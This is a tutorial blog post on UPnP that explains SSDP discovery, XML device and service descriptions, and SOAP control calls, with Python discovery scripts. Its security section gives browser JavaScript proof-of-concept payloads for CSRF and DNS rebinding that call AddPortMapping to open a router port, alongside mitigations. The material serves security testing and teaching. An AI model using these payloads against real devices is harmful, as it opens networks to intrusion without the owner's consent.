Introduction to UPnP
Published:
Updated:
This post gives simple explanations of how UPnP (Universal Plug-and-Play) works, especially with the goal of testing the security devices such as routers, smart TVs, etc.
The goal is to explain:
- how to find which devices expose UPnP services on your local network;
- how to find which services are exposed by these devices;
- how to check whether these services are vulnerable to browser-based attacks.
We focus here on Cross Site Request Forgery (CSRF) and DNS rebinding attacks but UPnP can be used for other interesting vulnerabilities.
Table of content
Overview of UPnP
The UPnP architecture is a set of protocols used for exposing “plug-ang-play” services on the LAN: you plug a device (typically a router, a smart TV or another smart device) on the network and it exposes some features which are immediately usable to any device on the LAN without the need of any configuration or provisioning. The features exposed this way do not requires any form of authentication which makes them an interesting target for attacks. A lot of these services are vulnerable to CSRF and/or DNS rebinding attacks.
The UPnP protocol is made of four parts:
- Discovery (finding which devices and services are available), using SSDP;
- Description (finding which actions and state variables are exposed by the UPnP devices), using XML files received over HTTP;
- Control (calling UPnP actions), using SOAP/1.1 over HTTP/1.1;
- Eventing (listening to state change notifications), based on GENA (General Event Notification Architecture) for UPnP 1.0 with the addition of multicast event notification in UPnP 1.1+
The stack is summarized as:
[Device/service desc.] [SOAP/1.1] [UPnP event] [UPnP event] [XML ] [XML ] [XML ] [XML ] [HTTP+SSDP ] [HTTP ] [HTTP ] [HTTP+GENA ] [HTTP+GENA ] [UDP ] [TCP ] [TCP ] [TCP ] [UDP ] [IP (mcast)] [IP ] [IP ] [IP ] [IP (mcast)] Service Service Control Eventing Eventing Discovery Description (RPC) (unicast) (multicast)
Note: UPnP eventing is not covered in this post.
Discovery
Service discovery is done using SSDP (Simple Service Discovery Protocol). SSDP use HTTP-like messages sent over UDP (one message per datagram).
Announces
SSDP services are announced periodically using the NOTIFY
method. It is sent on UDP port 1900 to multicast address 239.255.255.250. We can listen to these using a script such as:
import socket
from signal import alarm
import sys
import ipaddress
import struct
import sys
interface_address = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, 1)
# Not available in Python: sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_ALL, 0)
sock.bind(("0.0.0.0", 1900))
mreq = struct.pack("4s4s", socket.inet_aton("239.255.255.250"), socket.inet_aton(interface_address))
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
while True:
response = sock.recv(4096)
sys.stdout.write(response.decode("UTF-8"))
sys.stdout.flush()
Usage:
python ./ssdp_discover.py 192.168.1.42
where 192.168.1.42
is the IP address of the local machine on the network interface we want to listen to.
Example of output (one message per UDP datagram):
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: upnp:rootdevice
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=1801
NTS: ssdp:alive
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, Unspecified
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:2
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2
Important headers:
NTS
(Notifcation Sub-Type) (ssdp:alive
,ssdp:byebye
,ssdp:update
)Location
, URI of the UPnP device description (XML file)NT
(Notification Type) is either a device type (eg.urn:schemas-wifialliance-org:device:WFADevice:1
), a service type (eg.urn:schemas-wifialliance-org:service:WFAWLANConfig:1
) a device identifier (eg.uuid:a6df5df0-8662-491d-a89e-ffebc5d55db8
) orupnp:rootdevice
(advertised for all devices)USN
(Unique Service Name)
Searches
In order to elicit SSDP announces, we can use a M-SEARCH
message:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all
USER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0
This can be done with a script such as:
import socket
from signal import alarm
import sys
interface_address = sys.argv[1] if len(sys.argv) >= 2 else "0.0.0.0"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(interface_address))
message = b"""M-SEARCH * HTTP/1.1\r
HOST: 239.255.255.250:1900\r
MAN: "ssdp:discover"\r
MX: 5\r
ST: ssdp:all\r
USER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0\r
\r
"""
sock.sendto(message, ("239.255.255.250", 1900))
alarm(15)
while True:
response = sock.recv(4096)
sys.stdout.write(response.decode("UTF-8"))
sys.stdout.flush()
Usage:
python ./ssdp_search.py 192.168.1.42
Example of response (one message per UDP datagram):
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: upnp:rootdevice
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 18 Aug 2020 22:30:55 GMT
EXT:
LOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml
SERVER: Unspecified, UPnP/1.0, SoftAtHome
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:2
USN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2
The important HTTP request header is ST
(Search Target) which can be either:
ssdp:all
;upnp:rotdevice
;- a device identifier (eg.
uuid:e8238d3a-f12e-4678-bf17-56a9ee13b311
); - an device identifier;
- a service identifier.
Description
The description is made of two part:
- Device Description, gives informations about the device and which service are available;
- Service description, describe the different services (which actions they provide).
Device Description
The HTTP resources indicated in the LOCATION
header provides a description of the device and its services[1]:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<pnpx:X_hardwareId xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">VEN_0129&DEV_0000&SUBSYS_03&REV_250407</pnpx:X_hardwareId>
<pnpx:X_compatibleId xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">GenericUmPass</pnpx:X_compatibleId>
<pnpx:X_deviceCategory xmlns:pnpx="http://schemas.microsoft.com/windows/pnpx/2005/11">NetworkInfrastructure.Gateway</pnpx:X_deviceCategory>
<df:X_deviceCategory xmlns:df="http://schemas.microsoft.com/windows/2008/09/devicefoundation">Network.Gateway</df:X_deviceCategory>
<deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:2</deviceType>
<friendlyName>Orange Livebox</friendlyName>
<manufacturer>Sagemcom</manufacturer>
<manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
<modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
<UDN>uuid:e30681fd-9888-4c54-81f2-fc2f536561c1</UDN>
<modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
<modelNumber>3</modelNumber>
<serialNumber>XXXXXXXXXXXX</serialNumber>
<presentationURL>http://192.168.1.1</presentationURL>
<UPC></UPC>
<iconList>
<icon>
<mimetype>image/png</mimetype>
<width>16</width>
<height>16</height>
<depth>8</depth>
<url>/e30681fd/ligd.png</url>
</icon>
</iconList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:2</deviceType>
<friendlyName>Orange Livebox</friendlyName>
<manufacturer>Sagemcom</manufacturer>
<manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
<modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
<modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
<modelNumber>3</modelNumber>
<modelURL>http://www.sagemcom.com/</modelURL>
<serialNumber>XXXXXXXXXXXX</serialNumber>
<presentationURL>http://192.168.1.1</presentationURL>
<UDN>uuid:276a23d7-a371-4fb2-a2c0-b6ba7ac0f0f7</UDN>
<UPC></UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>
<controlURL>/e30681fd/upnp/control/WANCommonIFC1</controlURL>
<eventSubURL>/e30681fd/upnp/control/WANCommonIFC1</eventSubURL>
<SCPDURL>/e30681fd/gateicfgSCPD.xml</SCPDURL>
</service>
</serviceList>
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:2</deviceType>
<friendlyName>Orange Livebox</friendlyName>
<manufacturer>Sagemcom</manufacturer>
<manufacturerURL>http://www.sagemcom.com/</manufacturerURL>
<modelDescription>Sagemcom,fr,SG30_sip-fr-6.62.12.1</modelDescription>
<modelName>Residential Livebox,(DSL,WAN Ethernet)</modelName>
<modelNumber>3</modelNumber>
<modelURL>http://www.sagemcom.com/</modelURL>
<serialNumber>XXXXXXXXXXXX</serialNumber>
<presentationURL>http://192.168.1.1</presentationURL>
<UDN>uuid:fcc2812a-f1b8-444d-b48b-b179e162d33f</UDN>
<UPC></UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/e30681fd/upnp/control/WANIPConn1</controlURL>
<eventSubURL>/e30681fd/upnp/control/WANIPConn1</eventSubURL>
<SCPDURL>/e30681fd/gateconnSCPD_IP.xml</SCPDURL>
</service>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPv6FirewallControl:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPv6FwCtrl1</serviceId>
<controlURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</controlURL>
<eventSubURL>/e30681fd/upnp/control/WANIPv6FwCtrl1</eventSubURL>
<SCPDURL>/e30681fd/wanipv6fwctrlSCPD.xml</SCPDURL>
</service>
</serviceList>
</device>
</deviceList>
</device>
</deviceList>
</device>
</root>
For each service, we have:
- the URI of the control endpoint (used to trigger UPnP actions);
- the URI of the eventing endpoint (used to subscribe to notifications);
- the URI of the Service Control Protocol Description (SCPD) file (which lists the available actions on this service).
Service Scription
Each service
is described by a XML document, the SCPD. This document is located by the SCPDURL
element and looks like:
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<actionList>
<!-- ... -->
<action>
<name>AddPortMapping</name>
<argumentList>
<argument>
<name>NewRemoteHost</name>
<direction>in</direction>
<relatedStateVariable>RemoteHost</relatedStateVariable>
</argument>
<argument>
<name>NewExternalPort</name>
<direction>in</direction>
<relatedStateVariable>ExternalPort</relatedStateVariable>
</argument>
<argument>
<name>NewProtocol</name>
<direction>in</direction>
<relatedStateVariable>PortMappingProtocol</relatedStateVariable>
</argument>
<argument>
<name>NewInternalPort</name>
<direction>in</direction>
<relatedStateVariable>InternalPort</relatedStateVariable>
</argument>
<argument>
<name>NewInternalClient</name>
<direction>in</direction>
<relatedStateVariable>InternalClient</relatedStateVariable>
</argument>
<argument>
<name>NewEnabled</name>
<direction>in</direction>
<relatedStateVariable>PortMappingEnabled</relatedStateVariable>
</argument>
<argument>
<name>NewPortMappingDescription</name>
<direction>in</direction>
<relatedStateVariable>PortMappingDescription</relatedStateVariable>
</argument>
<argument>
<name>NewLeaseDuration</name>
<direction>in</direction>
<relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>
</argument>
</argumentList>
</action>
<!-- ... -->
</actionList>
<serviceStateTable>
<!-- ... -->
</serviceStateTable>
</scpd>
Each available action on the service is defined by:
- a name;
- a set of input parameters (
<direction>in</direction>
); - a set out ouput parameters (
<direction>out</direction>
);.
The serviceStateTable
element contains the set of state variables which are susceptible to be monitored using UPnP eventing.
Control
Calling a UPnP action is done using SOAP/1.1[2] over HTTP POST using the URI indicated in the controlURL
element:
POST /e30681fd/upnp/control/WANIPConn1 HTTP/1.1
Host: 192.168.1.1:60000
Content-Type: text/xml; charset=utf-8
Content-Lenght: ...
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:2#AddPortMapping
<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:2">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>9999</NewInternalPort>
<NewInternalClient>192.168.1.16</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>Test</NewPortMappingDescription>
<NewLeaseDuration>240</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
Notes:
- the SOAP action header is derived from the
serviceType
and the actionname
; - the
Content-Type
is expected to betext/xml; charset=utf-8
[3]; - the tag name of the element in the SOAP
Body
is the actionname
and its namespace is theserviceType
; - each child of this element defines the value of an input parameter (without namespace).
The response is a SOAP response following the same pattern:
HTTP/1.1 200 OK
CONTENT-LENGTH: ...
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Sat, 18 Jul 2020 10:49:38 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, SoftAtHome
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMappingResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:2">
</u:AddPortMappingResponse>
</s:Body>
</s:Envelope>
Eventing
Eventing, allows for a client to get notifications when the values of the states variables change. The list of state variables is declared in the serviceStateTable
element of the SCPD. Eventing on UPnP 1.0 is based on General Event Notification Architecture (GENA) and use the SUBSCRIBE
, UNSUBSCRIBE
and NOTIFY
methods. This is not covered in this post.
Security Considerations
CSRF
If the service does not validate the Content-Type
and the SOAPAction
headers of the UPnP request, the service might be vulnerable to CSRF attacks.
We can check this type of attacks from another origin with a script such as:
fetch("/control/wan_ip_connection", {
mode: "no-cors",
method: "POST",
headers: {
"Content-Type": "text/plain",
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>9999</NewInternalPort>
<NewInternalClient>192.168.0.12</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>Test</NewPortMappingDescription>
<NewLeaseDuration>240</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>`
});
In CSRF attacks, the attacker cannot get the response. If all the UPnP actions are readonly (do not have any side-effect), the vulnerability may not have any impact in practice.
The service can prevent this type of attacks either:
- by properly validating the
Content-Type
header of the UPnP request; - by properly validating the (required)
SOAPAction
header of the UPnP request; - by using unpredictable[4] control (and event subscription) URIs.
The latter approach can be seen in the previous examples taken from the OrangeBox.
DNS rebinding
If the service does not validate the Host
header, the service might be vulnerable to DNS rebinding attacks.
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("/control/wan_ip_connection", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"',
},
body: `<?xml version="1.0″ encoding="utf-8″?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>9999</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>9999</NewInternalPort>
<NewInternalClient>192.168.0.12</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>Test</NewPortMappingDescription>
<NewLeaseDuration>240</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>`
});
if (response.status == 200) {
alert("DONE!")
return;
}
await sleep(1000);
}
}
main()
In contrast to CSRF attacks:
- the attacker can read the UPnP response;
- the attacker can set the
Content-Type
andSOAPAction
headers; - the attacker can read the device description and SCPDs (if their URIs are predictable).
The service can prevent this type of attacks either:
- by validating the
Host
header (it should only accept IP addresses); - by validating the
Origin
header (but this only works with modern browsers which means theHost
header should be validated anyway); - by making the service description URI, of the SCPD URIs and the control URIs unpredictable[4:1].
References
Normative references:
Other documentations:
Other vulnerability classes:
- CallStranger, using the
SUBSCRIBE
method (eventing) for SSRF
Some vulnerabilities:
The UUIDs and URI prefixes have been changed for security reasons 😊. ↩︎
Not
application/json
which is now the standardContent-Type
for XML content. Notapplication/soap+xml
which is used for SOAP 1.2. ↩︎I am not certain that using unpredictable URIs as a sole mitigation is a great idea. If an attacker gets access to your LAN once, he can get the unpredictable URIs. Unless these unpredictable URIs change frequently, the attacker can then conduct targeted CSRF and DNS rebinding attacks while outside of your network. Moreover, people tend to paste these URIs on technical forums (for example by pasting device description files). ↩︎ ↩︎